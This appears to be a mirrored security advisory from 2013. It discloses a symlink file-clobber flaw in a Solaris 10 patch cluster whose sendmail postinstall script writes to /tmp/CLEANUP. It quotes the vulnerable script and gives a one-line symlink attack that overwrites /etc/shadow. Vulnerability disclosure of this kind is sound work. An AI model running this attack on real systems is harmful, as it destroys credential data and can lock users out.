Lucene search
K

Solaris 10 Patch Cluster File Clobber

🗓️ 19 Jun 2013 00:00:00Reported by Larry CashdollarType 
zdt
 zdt
🔗 0day.today👁 19 Views

Solaris 10 Patch Cluster File Clobber vulnerability in CLEANUP file in /tm

Code
File clobbering vulnerability in Solaris 10 patch cluster
3/27/2013
Larry W. Cashdollar
@_larry0

Hello,

The 147147-26 patch creates a CLEANUP file in /tmp that is vulnerable to symlink attacks:

The contents of the file created in /tmp are:

/sbin/sh:[email protected]# cat CLEANUP

EXISTING_FILE_PRESERVED: /var/run/.patchSafeMode/root/etc/security/audit_event /var/run/.patchSafeMode/root/etc/security/audit_event.new

EXISTING_FILE_RENAMED: /var/run/.patchSafeMode/root/etc/mail/sendmail.cf /var/run/.patchSafeMode/root/etc/mail/sendmail.cf.old EXISTING_FILE_RENAMED: /var/run/.patchSafeMode/root/etc/mail/submit.cf /var/run/.patchSafeMode/root/etc/mail/submit.cf.old

Sendmail has been upgraded to version 8.14.5 . After you reboot, you may want to run

/usr/sbin/check-hostname
and

/usr/sbin/check-permissions ALL

These two shell-scripts will check for common mis-configurations and recommend corrective action, or report if things are OK.

-rw-r--r-- 1 root other 662 Mar 27 13:03 CLEANUP

The vulnerable code can be found in ./SUNWsndmu/install/postinstall:

540 CLEANUP=/tmp/CLEANUP
541
542 if [ "x$UPDATE" = xyes ]; then

   543          VERSION=`grep '^DZ' $PKG_INSTALL_ROOT/etc/mail/sendmail.cf | \
   544                  sed -e s/DZ//`
   545          echo "\nSendmail has been upgraded to version $VERSION ." >>$CLE
ANUP
   546          echo "After you reboot, you may want to run" >>$CLEANUP
   547          echo "\t/usr/sbin/check-hostname" >>$CLEANUP
   548          echo "and" >>$CLEANUP
   549          echo "\t/usr/sbin/check-permissions ALL" >>$CLEANUP
   550          echo "These two shell-scripts will check for common" >>$CLEANUP
   551          echo "misconfigurations and recommend corrective" >>$CLEANUP
   552          echo "action, or report if things are OK.\n" >>$CLEANUP

553 fi

A simple attack in /tmp can clobber /etc/shadow:

[/tmp $] ln -s /etc/shadow CLEANUP

Will over write the contents of /etc/shadow.

Oracle has been notified 3/27/2013 and they are working on a fix.

#  0day.today [2018-03-16]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation